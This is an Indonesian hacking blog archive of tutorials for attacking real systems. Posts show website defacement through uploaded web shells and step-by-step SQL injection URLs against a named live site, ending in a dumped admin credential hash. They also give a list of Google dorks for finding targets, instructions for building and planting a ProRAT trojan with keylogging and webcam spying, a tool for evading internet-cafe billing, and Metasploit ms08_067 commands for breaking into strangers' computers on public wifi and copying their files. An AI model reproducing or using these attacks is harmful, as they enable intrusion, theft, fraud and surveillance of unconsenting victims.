Tampilkan postingan dengan label Hacking. Tampilkan semua postingan
Tampilkan postingan dengan label Hacking. Tampilkan semua postingan

Rabu, 22 Juni 2011

Deface Website

Hi semuanya, kembali lagi dengan saya. Kali ini mau berbagi bagaimana cara Deface Website, karena yang request Cara Deface Website ini banyak sekali, bejibun masuk ke email saya. Akhirnya saya membuat artikel ini untuk memenuhi peremintaan kalian semua, let’s DEFACE WEBSITE – DEFACING WEBSITE..

Okelah kalau begitu semuanya, langsung lanjut ajah, skenarionya sebagai berikut:

1. Anda sudah memiliki target website, kalau masih belum silakan cari di google melalui google dork yang anda punya atau bisa melihat Google Dork Remote File Inclusion – Webapps di www.exploit-db.com sampai Anda berhasil mendapatkan Target Website.

2. Setelah mendapatkan target website, silakan upload SHELL INJECT anda, kebetulan saya menggunakan tools sendiri “File Manager Binus Hacker” :) (Maaf: tidak untuk dipublikasikan) Anda bisa menggunakan r57shell / c99 shell / lainnya. Toolsnya bisa di download disini untuk rshell / c99: Download Shell Injection

3. Setelah anda mengupload Shell Injection, siapkan halaman “DEFACEMENT PAGE“, kebetulan saya menamainya dengan”HACKED.html“

4. Setelah itu silakan kunjungi website target anda yang sudah di Deface.

Penjelasannya detail & langkah-langkahnya:
1. Silakan cari target di google, misalnya: “inurl:page.php?xxx=” atau “intitle: Google Dork” (Kumpulan google dork banyak tersedia di google, silakan di search aja) atau anda bisa melihat list Google Dork Di www.exploit-db.com , kemudian inject target website tersebut. Nah, kebetulan saya mendapatkan target dibawah & kemudian melakukan aktifitas shell injection, berikut gambarnya:

Deface Website - Website Target



2. Langkah selanjutnya, saya melakukan upload fmbh.php (File Manager Binus Hacker), Anda bisa menggunakan Rshell / C99 untuk di upload ke website target tersebut. Directory yang saya pakai di webtarget adalah /vservers/silentcat/htdocs/includes/. Jadi ketika saya membuka shell di target menjadi: http://www.target.com/includes/fmbh.php

Deface Website - Update Shell



3. Setelah itu kita siapkan file halaman defacement: “HACKED.html”

Defacing Website - Membuat Halaman Defacement

Kemudian kita save menjadi: “HACKED.html”
Defacing Website - Halaman Deface Page



4. Upload “HACKED.html” ke website target tadi, saya melakukan upload di /vservers/silentcat/htdocs/ artinya saya berada di lingkungan home directory.

Deface Website - Lokasi Home Directory Website

Upload file HACKED.html, dari local computer yang anda simpan tadi.

Deface Website - Cara Upload Page Defacement

Sehingga akan tampak hasil upload file “HACKED.html” sebagai berikut:
Deface Website - Hasil Upload File Hacked Html

Dikarenakan permissionnya “600” (rw——-), artinya hanya Owner saja yang bisa melakukan “read & write” di file tersebut, kita harus merubah permissionnya menjadi “777″ / “755″, kalau 777 artinya semuanya memiliki akses “read, write & execute”, sedangkan saya hanya memakai “755″ biar bisa di baca & eksekusi saja:

Defacing Website - CHMOD file



5. Jika sudah selesai, maka lihat hasil DEFACE di: “http://www.target.com/hacked.html”

Nah, sudah selesai.. Cukup mudah melakukan deface website, silakan lakukan eksperimen yang lebih banyak lagi.
Enjoy & Eat It!

SQL injection tutorial part 2

Mari kita coba praktekkan cara diatas!
Sebagai contoh kita mendapatkan target sebagai berikut:
Code:
http://www.cocobod.gh/news_details.php?id=30
Sekarang kita akan melakukan pengecekan apakah website tersebut memiliki vulnerability dengan menambahkan tanda ‘ di akhir URL, contohnya sebagai berikut:
Code:
http://www.cocobod.gh/news_details.php?id=30'
Jika kita menemukan error, maka terdapat vulnerability di website tersebut, sebagai contoh:

Setelah kita mengetahui ada vulnerability, maka langkah selanjutkan adalah kita harus mengetahui berapa jumlah kolom yang ada di table tersebut.
Kita akan mengetahuinya sampai ada informasi “Unknown Column“.
Lakukan pengecekan dengan menggunakan perintah “order by“.
Kita akan mencoba dari 1……..tak hingga, jadi bisa saja 1,2,3,4,5,6,7,dst.
Kebetulah dalam target ini hanya terdapat 7 kolom dalam table yang ada di database,
Contohnya:

Langkah pengetesannya adalah
Code:
http://www.cocobod.gh/news_details.php?id=30 order by 1-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 2-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 3-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 4-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 5-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 6-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 7-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 8-- >> Unknown column

http://www.cocobod.gh/news_details.php?id=30 order by 8– *>> Unknown column
Hal tersebut membuktikan bahwa tidak ada kolom ke 8 dalam table tersebut, jadi cuman ada 7 kolom.

Langkah selanjutnya adalah, mencari kolom yang dapat di akses!

Kita sudah mengetahui, jumlah kolom adalah 7, kita gunakan perintah “UNION SELECT number,of,columns–” untuk mengatahui kolom mana yang dapat di akses:
Code:



http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,6,7--

Anda akan menemukan seperti gambar berikut:


Binus Hacker Tutorial
Muncul 6, 2, 3 kan? Kolom dalam tersebutlah yang bisa anda akses dan anda ambil informasinya.


Langkah selanjutnya, mencari informasi versi database


SQL Injection bekerja baik pada versi 5.* ke atas, untuk mendapatkan informasi database version, kita masukkan saja “@@version”, pada kolom dimana saja yang bisa dipakai.
Misalkan kolom “6″ kita ganti dengan “@@version”



Code:

http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,@@version,7--

Binus Hacker Tutorial

Akan muncul versi database 5.1.39, ini berarti database bisa di inject :)

Mengetahui Database Name


Langsung ajah kita replace kolom yang tadi digunakan “6,2,3″ dibagian mana saja, kita gunakan kolom “6″, kita ganti dengan code berikut “group_concat(schema_name)” , dan jangan lupa tambahkan “from information_schema.schemata–” sesudah kolom terakhir.

Code:


http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(schema_name),7 from information_schema.schemata--
Binus Hacker Tutorial
Mengatahui Database Yang Dipakai
Langsung ajah ganti “group_concat(schema_name)” dengan “concat(database())” seperti contoh berikut:
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,concat(database()),7 from information_schema.schemata--
Binus Hacker Tutorial
Selamat, anda telah mengetahui database yang dipakai saat ini adalah “cocobod_gh“.
Mengetahui Nama Tabel

Langsung aja ganti “group_concat(table_name)” dan tambahkan “from information_schema.tables where table_schema=database()–” setelah kolom terakhir.
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(table_name),7 from information_schema.tables where table_schema=database()--
Binus Hacker Tutorial
Mengatahui Nama Kolom

Untuk mengetahui nama kolom, kita gunakan query berikut:
group_concat(column_name)
from information_schema.columns where table_schema=database()–

Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(column_name),7 from information_schema.columns where table_schema=database()--
Binus Hacker Tutorial
Mengambil Informasi Yang Ada Di Dalam Kolom

Ini adalah step akhir, dimana anda akan mendapatkan informasi mengenai isi dari kolom yang berada dalam table di database.
Eksekusi perintah berikut:

Code:
http://www.site.com/news_details.php?id=30 union select 1,2,3,4,5,group_concat(columusername,0x3a,columnpassword),7 from currentdb.tableused--
Exploit akan menjadi seperti berikut :
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(username,0x3a,password),7 from cocobod_gh.coc_admin--
Binus Hacker Tutorial
Dari informasi di atas kita mendapatkan data: “comaster:2c39e3769d300f7e23f8a9e1e21773e7“ ,
Silakan check ke MD5 decrypter untuk mendecrypt password -> http://www.md5decrypter.co.uk/ paste MD5 password yang tadi yaitu: “2c39e3769d300f7e23f8a9e1e21773e7“, anda akan medapatkan result seperti dibawah:

Binus Hacker Tutorial

SQL injection tutorial part 1

SqLi Tutorial – Sql Injection Tutorial – Sql Injection Artikel – SQL Injection Article
Sqli (alias Sql Injection atau Structured Query Language Injeksi) adalah langkah pertama dalam entri untuk memanfaatkan atau hacking website. Hal ini mudah dilakukan dan merupakan titik dari awal yang bagus. Sayangnya tutorial yang sedikit rumit sehingga itulah sebabnya ane menulis ini. Sqli pada dasarnya hanyalah suntikan pertanyaan ke dalam database atau menggunakan query untuk mendapatkan bypass otorisasi sebagai sebuah admin.

Untuk Mencari Inject
Mencari SQLI sangat mudah,semua yang perlu ente2 lakukan adalah Googling . Hal pertama yang perlu ente2 lakukan adalah menemukan beberapa dorks
Code:

inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:read.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: mysql_num_rows()

Lebih lengkap, silakan dicari di Google

Pilih salah satu dorks dan menambahkan inurl: sebelum
(Jika mereka belum memiliki itu) dan kemudian salin dan sisipkan
ke google. Pilih salah satu situs dari google dan chek 1-1.
Sebagai contoh url dari halaman ente berada mungkin terlihat seperti ini
Code:

http://www.example.com/index.php?id=3

untuk memeriksa adanya Bug MySQL tinggal tambahin “‘” di akhir URL
contoh
Code:

http://www.example.com/index.php?id=3'

tekan enter sampai ente2 mendapatkan ERROR
Mendapatkan Jumlah Kolom
Setelah ente menemukan situs yg udah di siapin ,langkah pertama yang perlu ente2 ambil adalah
untuk menemukan jumlah kolom. Cara termudah untuk melakukannya adalah
menggunakan pernyataan “order by”. Yang harus ente lakukan adalah meletakkan ORDER BY (angka) -
pada akhir url ente. Jadi seharusnya terlihat seperti ini.
Code:

http://www.example.com/index.php?id=3 ORDER BY (number)--

setelahnya ane ubah jadi bahasa inggris dah..
capek translatenya
wkwkwkwkwkwkwkwkwkw :P
Yuk kita lanjutkan ke order by 8– kamu akan mendapatkan sebuah error. Ini membuktikan bahwa table database hanya memiliki 7 kolom, ini dibuktikan bahwa ketika anda melakukan order by lebih dari 7, akan selalu error. Jika kamu memiliki memory yang kurang baik, silakan buka notepad & catat kolom-kolom yang anda temukan.
Menemukan kolom yang dapat di akses

Setelah kita mengetahui kolom yang ada di table database, sekarang kita akan mencari informasi & data apa yang bisa diambil dari sana.
Kita melakukan hal tersebut dengan menggunakan fungsi “UNION” “SELECT” dan NOMOR KOLOM. Kita selipkan seluruhnya dalam URL, seperti contoh berikut:
Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--

Jangan lupa untuk menyisipkan tanda “-” sebelum code dimulai, jadi sebagai contoh di atas kita selipka tanda “-” didepan angka “3“, nah setelah semua dilakukan, maka akan muncul table yang memiliki isi didalamnya. Catatlah nomor kolom table yang memiliki informasi di dalam database tersebut. Klo lupa, simpan dulu di notepad.
Finding MySQL Database Version
Sebelum kita melanjutkan hal ini, maka yang perlu kita ketahui adalah versi dari database.
URL nya adalah sebagai berikut:
Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--

Kita ganti angka “1” dengan  “@@version” untuk mengetahui informasi versi database, berikut contohnya:
Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+@@version,2,3,4,5,6,7--

Tekan enter, maka anda akan menemukan informasi database yang digunakan.
Hal ini biasanya bekerja pada versi database 5.* keatas.
Finding Database Names

Selanjutkan kita akan inject website untuk menemukan database names. Kita lakukan hal ini dengan mengganti “@@version”
dengan “group_concat(schema_name)” dan juga ditambahkan “+ from+information_schema.schemata–” sesudah nomor kolom terakhir di table database.
Seperti ini contoh URLnya:
Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7+ from+information_schema.schemata--

Hal tersebut akan menunjukkan daftar nama database. Sekarang untuk menemukan database mana yang saat ini dipakai adalah dengan mengganti “group_concat(schema_name)” dengan concat(database()) dan hapus “+ from+information_schema.schemata”
Jadi URL nya akan menjadi seperti ini:
Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+concat(database()),2,3,4,5,6,7--

Selamat, anda telah mendapatkan informasi database yang saat ini digunakan.
Menemukan Nama Table

Untuk mengetahui nama table yang digunakan dalam database, anda harus mengganti “concat(database())” dengan group_concat(table_name) dan tambahkan “from information_schema.tables where table_schema=database()” diantara nomor awal dan “–” hapus juga tanda “+” dari “union select“.
Urlnya akan tampak seperti berikut:
Code:

http://www.example.com/index.php?id=-3 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database()--

Nah, hal tersebut akan menampilkan nama table yang digunakan di database.
Menemukan Nama Kolom

Lakukan dengan hanya merubah “table_name” ke “column_name” dan “information_schema.tables” ke “information_schema.columns”.
Url akan tampak seperti ini:
Code:

http://www.example.com/index.php?id=-3 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema=database()--

Hal tersebut akan memunculkan nama table.
Misalkan nama colom seperti berikut:
admin_username
admin_password
Mengambil Informasi Database
Sekarang kita sudah mengetahui “database name, table names, dan colomn names”, kita bisa menyatukannya bersama-sama dan mengeluarkan informasi yang ada di sana, kita lakukan dengan contoh berikut:
Code:

http://www.example.com/index.php?id=-3 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename--

Sekarang ganti “columnname” dengan kolom yang anda mau ambil informasinta. “0x3a” akan membuat jeda diantara informasi yang anda dapatkan dari masing-masing colom. Jangan lupa juga untuk merubah “databasename.tablename” dengan database dan nama tabel dimana kolom ada di database dan tabel tersebut.
Sebagai contoh:
Code:

http://www.example.com/index.php?id=-3 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7 from whippit.t_admin--

Sekarang anda akan mendapatkan informasi username & database

Jumat, 17 Juni 2011

Hacking with ProRAT

Tools buatan orang Turkey ini sangat luar biasa, tools ini berfungsi untuk menyusup ke komputer orang lain. Caranya sangat gampang dan mudah sekali, tinggal kita mengetahui IP dan Port komputer korban, maka kita dapat langsung menginfeksinya.
A. Cara penggunaan ProRat
1. Pertama kali kita harus mengetahui terlebih dahulu IP dan Port korban yang terbuka. Kita dapat melakukannya dengan cara manual atau juga dengan bantuan Ports Scanner.

Dari gambar diatas kita mengetahui semua IP komputer yang aktif dan Port mana saja yang terbuka. Yang akan dijadikan korban pada percobaan kita kali ini adalah komputer dengan IP 192.162.10.233.
2. Langkah selanjutnya yaitu kita jalankan ProRat, tools ini dapat di download di http://www.prorat.net . Sebelumnya matiin dulu Anti Virus kamu (disable), karena ProRat akan terdeteksi sebagai virus. Padahal dia tidak berbahaya bagi komputer kita. Setelah itu isikan IP korban pada form IP dan Portnya (default 5110).

Apabila kita klik tombol Connect maka koneksi ke komputer korban belum bisa, karena komputer korban belum kita infeksi. Untuk menginfeksi komputer korban kita terlebih dahulu membuat server yang akan dijalankan pada komputer korban. Caranya klik tombol Create – Create Prorat Server. Lalu muncul tampilan Notifications :

Centang pilihan Use Proconnective Notifications dan isi IP(DNS)Address dengan IP kita. Pada tab General Setting kita isikan Server Port (default 5110), Server Password dan Victim Name.

Pada tab Bind with File kita dapat menyusupkan file yang akan dijalankan bersama Server. Extensi file bebas.

Selanjutnya adalah tab Server Extension, ada beberapa pilihan extensi server. Kita pilih yang berekstensi .Exe.

Untuk membuat icon server kita klik tab Server Icon, pilih icon apa saja yang kamu inginkan.

Langkah terakhir dari pembuatan server ini adalah klik Create Server.

Setelah berhasil, akan tampil :

3. Kita tinggal menjalankan Server tersebut dikomputer korban. Caranya terserah kamu… mau disusupkan diam-diam atau memakai teknik Social Engineering dan juga dapat kamu infeksikan langsung pada komputer tersebut (kalo bias sihh).
4. Setelah Server tersebut berhasil berjalan pada komputer korban, maka kita langsung mencoba mengkoneksikannya dengan komputer kita.
5. Untuk koneksi kita dapat menggunakan ProConnective atau langsung mengetikkan IP address dan Port komputer korban. ProConnective adalah tools bawaan dari ProRat yang berfungsi sebagai Bridge (jembatan koneksi) antara komputer server dan komputer client (korban). Akan nampak IP korban apabila dia sedang on.

6. Setelah berhasil melakukan koneksi ke komputer korban maka status dari ProRat akan berubah dari Disconnected ke Connected

7. Nah…saatnya kita bermain. Ada banyak hal yang dapat kita lakukan pada komputer korban seperti mengetahui informasi dari PC, mengirimkan pesan error, mematikan komputer, mengunci mouse, membuka CD-ROM atau bahkan memotret wajah korban .
8. Sekarang kita akan melihat PC info korban :

Dari gambar diatas kita dapat melihat informasi yang dimiliki dari komputer korban.
9. Kita juga dapat mengirimkan pesan error palsu ke komputer korban :

10. Memasang Keylogger.

11. Dan yang paling seru adalah melihat wajah dari korban yang kita hack.

Bagaimana seru kan? Itu masih sebagian kecil dari kegunaan ProRat masih banyak lagi fungsi lainnya, seperti memformat hardisk milik korban, mengacaukan registry, mencuri data-data penting dan lain sebagainya. Akan tetapi, dalam pembahasan kita kali ini kita cukupkan sekian saja ya. Ok !
Gunakan dengan baik ya…
B. Cara Pencegahan
1. Update selalu Anti Virus anda agar mampu mendeteksi adanya infeksi dari ProRat. Biasanya server ProRat terdeteksi sebagai
Trojan.Dropper.Prorat.DZ.29, Dropped:Backdoor.Prorat.DZ.
2. Pasanglah Anti Prorat, anda bisa mendownloadnya di www.softpedia.com/get/Antivirus/Anti-prorat.shtml.
Selamat mencoba…

Hack billing explorer 2011

Hallo semuanya, bosan dengan teknik-teknik hacking yang itu-itu dan banyak bertebaran di internet? Kali ini saya akan memberikan sedikit tutorial hacking yang ringan dan insyaallah bisa diterapkan semua orang :D . Untuk mempelajarinya tidak sulit kok, tidak memerlukan kemampuan khusus bahkan orang awam yang baru mampir ke warnet pun bisa melakukan hal ini.
Ya, mungkin Anda berfikir cara ini adalah cara bunuh diri untuk saya. Kok mau-maunya ya seorang operator warnet mengajarkan cara untuk mengakali warnetnya sendiri? Bukan tanpa alasan, saya melakukan ini karena saya sadar ilmu adalah pemberian dari Tuhan Yang maha Esa, dan dengan menyembunyikan ilmu itu berarti saya telah mengingkari nikmat dari Tuhan. Jadi semua orang di dunia ini berhak untuk mendapatkan ilmu.
Langsung saja, dalam kegiatan hacking Billing Explorer Client ini saya menggunakan bantuan dari program bernama hackclient.exe yang saya temukan dari forum HNc. Karena tutorial disana kurang lengkap maka sebagai tanda balas jasa atas ilmu yang telah saya peroleh maka saya membuat tutorial sederhana ini.

Di warnet masuk sebagai Personal dan siapkan modal program aplikasi hackclient.exe yang dapat diperoleh dari http://www.4shared.com/file/Xyw_iMyz/hackclient.html

Jika sudah didapat lalu jalankan aplikasinya. Maka akan muncul tampilan seperti berikut ini :

Perhatikan disana ada 2 program billing client, gag usah bingung gambar yang tampil di atas adalah billing client yang palsu, sedangkan yang asli ada di bagian paling kiri, yang tampilannya paling sederhana, dan yang pada awal tadi telah Anda lihat.
Ikuti petunjuk berurutan sesuai yang ada pada program billing client palsu. Jika beruntung maka Anda bisa keluar dari program billing client dan menikmati hampir semua fasilitas windows yang dikunci oleh billing client aslinya.

Perhatikan bahwa cara ini tidak akan mengurangi nilai nominal yang tertera di billing server (operator) yang harus Anda bayarkan. Ada baiknya tutorial ini digunakan untuk pembelajaran bukan untuk perbuatan jahat. Kasihan operator dan pemilik warnetnya, untuk mendapat 2000 perak pun terhalang dengan ulah pemakai aplikasi ini.
Silakan download toolsnya disini:

tutorial-hacking-dengan-metasploit 4

Kali ini saya akan berikan cara menerobos komputer orang
di area wifi seperti hotel, kampus atau restoran
dalam hal ini tentu saja saya pake OS Linux hehehe
Tentu kita ingin tahu data apa yang ada di dalam
setelah download metasploit for linux di http://www.metasploit.com/download/
Install dengan perintah
$su
# ./namafile.run
pilih yes
tidak perlu diupdate
Ok silahkan jalan-jalan di area hotspot di kampus, mall atau cafe/restoran
jangan lupa duduk yang manis dan tenang sambil minum juice (kopi kurang baik)
Cari target komputer yang sedang aktif online
terlebih dulu cari tau nomor IP DHCP yang kita dapat.
$ sudo ifconfig -a
lihat hasilnya :
eth1 Link encap:Ethernet HWaddr 00:50:BF:1B:B5:51
inet addr:192.168.0.10 Bcast:192.168.0.255 Mask:255.255.255
itu menunjukkan kita mendapat IP 192.168.0.10
langsung scan komputer yang lagi online di area tersebut
$ nmap -sP 192.168.0.0/24
lihat hasilnya :
Host 192.168.0.1 appears to be up.
MAC Address: 00:B0:6C:EF:47:30 (Unknown)
Host arman (192.168.0.10) appears to be up.
Host 192.168.0.1 appears to be up.
MAC Address: 00:E0:4C:ED:41:20 (Unknown)
Host mycomp (192.168.0.11) appears to be up.
MAC Address: 00:E0:5C:FD:45:17 (Unknown)
dan seterusnya……………
OK pilih salah satu target (korban) yaitu : 192.168.0.11
Lakukan ping dulu ke IP korban. sapa tau sudah dipasang firewall
$ ping 192.168.0.11
Jika hasilnya reply maka siap melakukan langkah berikutnya
Scan port yang terbuka terlebih dahulu
$ nmap 192.168.0.11
lihat hasilnya:
PORT STATE SERVICE
139/tcp open nb-session
445/tcp open microsoft-ds
8080/tcp open http-proxy
OK port 445 terbuka dan sasaran empuk untuk menyusup kesana
lakukan urutan exploitasi berikut:
Jalankan metasploit
$ msfconsole
Pilih jenis tools untuk exploit
msf> use windows/smb/ms08_067_netapi
Pilih metode penyerangan
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
Tambahkan target IP korban
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.11
Langsung lakukan exploit
msf exploit(ms08_067_netapi) > exploit
jika muncul prompt dibawah ini brarti serangan berhasil
meterpreter>
Eiits tunggu dulu ini belum menguasai komputer korban sepenuhnya
Tinggal satu perintah lagi, setelah itu baru bisa diapa-apain.
meterpreter> execute -M -f cmd.exe -i
lihat hasilnya :
C:\Windows\System32>
nah kita sudah masuk sepenuhnya… mau diapain nih?
jangan dirusak lah kasihan.. kita copy saja datanya ke komputer kita
barangkali ada surat rahasia atau data korupsi hehehe..
OK persiapan untuk copy data
Pastikan Linux kita sudah ada samba dan service sudah started
Sharinglah sebuah folder di linux kita dengan permission read and write
jangan lupa juga : $ sudo chmod 777 nama-folder
disini saya kasih contoh nama folder saya “didit”
OK Kembali ke komputer korban (target)
cari dulu data yang dianggap penting..
biasanya ditaruh di D:\ atau di My Documents
misalnya data yang kita incar ada di D:\ maka lakukan perintah berikut :
C:\Windows\System32>D:
D:\>dir
05/25/2010 10:57 PM 22.700 rahasia.doc
Nah tuh ada file bernama “rahasia.doc”
selanjutnya kita buat mapping drive ke komputer kita
D:\>net use Z: \\192.168.0.10\didit
OK tinggal copy file “rahasia.doc” ke drive Z: yang sebenarnya adalah komputer kita
D:\>copy rahasia.doc Z:
segera tutup drive Z: agar ga ketahuan oleh korban
D:\>net use /delete Z:
OK aman
Silahkan buka file “rahasia.doc” di folder “didit” menggunakan openoffice
Gampang kan..
Nah seperti etika hacking yang ada pada umumnya
kita bukan hanya memberi cara menerobos tapi juga cara mengamankannya
Yang pertama pakailah Linux hehehe
Jika terpaksa pakai windows maka:
download worm cleaner di http://www.softpedia.com/progDownload/Windows-Worms-Doors-Cleaner-Download-107294.html
lalu buka file tersebut maka otomatis akan menutup port 445
jika ingin membuka lagi port tersebut cukup klik tombol enabled
Jangan lupa aktifkan firewall anda.
Sekian dan terima kasih…

tutorial-hacking-dengan-metasploit 3

Berikut alat-alat praktek yang kita butuhkan pada percobaan kali ini :
1. Sebuah PC yang cukup bertenaga untuk virtualisasi PC
2. Metasploit Framework, dapat di download disini
3. Microsoft Windows NT SP3-6a/2000/XP/2003 yang memiliki bug pada service DCOM.
4. Vmware, dapat di download disini
Vmware disini digunakan untuk membuat virtualisasi jaringan komputer, sehingga memudahkan anda yang hanya memiliki 1 PC saja dirumah.
Saya akan melompati langkah-langkah menginstall VMware dan juga cara menginstall Windows di VMware, sebab apabila anda tidak mengerti hal tersebut, kemungkinan besar anda juga tidak akan paham yang kita bahas disini.
Sebagai permulaan kita akan memulai dengan mengenal lebih dekat Metasploit Framework. Pada situs pembuatnya dipaparkan secara gamblang tentang apa itu Metasploit framework, dan juga tujuan penggunaannya :
What is it?
The Metasploit Framework is a development platform for creating security tools and exploits. The framework is used by network security professionals to perform penetration tests, system administrators to verify patch installations, product vendors to perform regression testing, and security researchers world-wide. The framework is written in the Ruby programming language and includes components written in C and assembler.
What does it do?
The framework consists of tools, libraries, modules, and user interfaces. The basic function of the framework is a module launcher, allowing the user to configure an exploit module and launch it at a target system. If the exploit succeeds, the payload is executed on the target and the user is provided with a shell to interact with the payload.
Semuanya saya biarkan tertulis dalam bahasa orang bule sebab ada kata-kata yang tidak pas atau tidak bisa dipadankan bila diterjemahkan dalam Bahasa Indonesia.
Selanjutnya untuk lebih jauh tentang exploit maupun bug pada DCOM service dapat anda search sendiri di google, sebab terlalu panjang jika saya jelaskan disini.
Sekarang mari kita ngoprek komputer !
Langkah pertama adalah download Vmware dari situsnya, lalu anda dapat mulai menginstall Windows yang memiliki bug DCOM, kemudian jalankan windows anda di VMware !
Langkah kedua adalah download Metasploit Framework dari situsnya. Lalu install dikomputer anda dan jalankan, hingga keluar tampilan seperti berikut :

Kemudian pada kotak search ketikan dcom, lalu klik Find, dan pilihlah Exploits Microsoft RPC DCOM Interface Overflow.

Setelah itu kita memilih target yang akan kita exploitasi, dalam kasus kali ini Sistem Operasi target kita adalah Windows XP home, oleh karena itu pilihlah yang sesuai, lalu klik Forward :

Kemudian kita dihadapkan pada pilihan payload. Payload adalah sebuah aksi yang dilakukan setelah bug berhasil di exploitasi oleh Metasploit. Untuk pembelajaran, kita pilih Generic/Shell_Bind_TCP , artinya kita akan mengambil alih Shell Bind atau lebih dikenal di lingkungan windows dengan Command Prompt dari target hacking kita. Setelah itu klik Forward.

Langkah berikutnya kita harus menentukan Target Address kita, disini saya telah mengkonfigurasi Windows XP Home di Vmware dengan IP 192.168.126.132, oleh karena itu tuliskan ip tersebut pada kolom RHOST. Sedangkan RPORT disini sudah ditentukan yaitu port 135 yang merupakan port default dari service DCOM dimana secara default dibuka oleh Windows XP Home ! Wah, berbahaya sekali yah… Untuk LPORT disini juga sudah ditentukan yaitu 4444, Local Port akan membuka sebuah port di PC anda untuk berhubungan dengan komputer target. Selanjutnya klik Forward .

Jika target berhasil terexploitasi, anda akan mendapatkan sebuah session yang berisi target hacking kita dan siap untuk di double klik.

Kemudian anda akan mendapati sebuah layar Command Prompt dari komputer target dan anda sebagai Administrator. Jika sudah begini semua terserah anda, jangan tanyakan apa yang bisa dilakukan selanjutnya.Dan selesailah tutorial hacking kali ini Mudah bukan ?

tutorial-hacking-dengan-metasploit 2

Wew… keren ya judulnya… sebenernya tutorial kayak gini udah banyak sih di internet, cuma lagi iseng aja pengen nulis tentang metasploit. :*Pasti kalian semua udah pada kenal apa itu metasploit, kalo pengen lebih jelasnya baca aja di websitenya metasploit.
Tapi mungkin tutorial yang saya tulis ini baru pertama, soalnya OS yang saya pake lain dari yang lain. hehe.. Biasanya OS yang dipake buat aksi exploitasi adalah Backtrack, yang memang sudah teruji kehandalannya untuk Pentest (Penetration Testing). Pengen tau OS yang saya pake… ? hehe.. :p
Nah, sekedar share aja ya… OS yang saya pake adalah TealinuxOS 2.0 yang sudah dimodifikasi untuk keperluan pentest. :D Karena TealinuxOS merupakan turunan ubuntu maka, tutorial ini juga berlaku untuk semua distro turunan Ubuntu.
Sebelum belajar metasploit yang perlu disiapkan adalah :
  • Cemilan, buat ngilangin stress kalo exploitasinya gagal mulu… hehe :p
  • OS, terserah, yang penting Linux :D
  • Metasploit Framework, bisa donlod langsung di websitenya metasploit. trus langsung di install ya …
  • fping, install langsung aja, caranya “sudo apt-get install fping”
  • nmap, install langsung juga, caranya “sudo apt-get install nmap”
  • dan yang terakhir jangan lupa siapkan KORBANnya..wkwkwk…
langkah-langkahnya ikuti aja video yang udah saya buat ini,
Tutorialnya bisa di download DISINI

Tutorial Hacking Dengan Metasploit

Selamat malam all, kali ini saya akan share sedikit tentang aplikasi hacker favorit saya. Yaitu adalah METAPLOIT Framework ver. 2.6. Aplikasi ini berfungsi untuk mengexploitasi kelemahan suatu system ataupun aplikasi. Aplikasi ini bisa untuk penetration testing ke System Windows, Unix/Linux, dan MacOs, tapi yang lebih cenderung Exploitable adalah Windows SP1. Untuk lebih lengkapnya dapat di baca di website resminya www.metasploit.com.
Ketika saya menulis artikel ini, metasploit sudah merilis yang versi 3.5, tapi saya menggunakan versi 2.6, karna pada dasarnya sama saja, hanya saja versi 3.5 lebih banyak exploitnya :D . Oh iya, dalam Metasploit Framework, kita sudah disediakan banyak exploit, sehingga tidak perlu mendownload lagi. Fungsi exploit yaitu mengirim bufferOverflow pada system korban, sehingga kita dapat menTakeOver shellnya.
Langsung saja, berikut installasinya di Windows.
1. Download dulu di webiste resminya www.metasploit.com, jika tak ada ver. 2.6, coba cari aja di Google, :D usaha sedikit gan.
2.  Kemudian install, dan jalankan msfweb.

Maka akan muncul window shell seperti berikut.

3. Buka Web Browser bisa Internet Explorer, Mozilla, OperaMini, dll. Dan pergi ke http://127.0.0.1:55555, maka tampilannya seperti berikut.
Mungkin tampilan web gui anda akan sedikit berbeda, karena templatenya disini telah saya ganti. :D
4. Kemudian cari corban yang akan kita exploitasi. Bisa menggunakan NMAP, terus kita lakukan port scanning. Disini kita akan mencoba pada system OS Windows Server 2003 yg masih fresh install (belum di Patch). Pada port scanning, pastikan port untuk MSRPC tebuka (default = open). Download NMAP di www.nmap.org
5.Memilih Exploit.
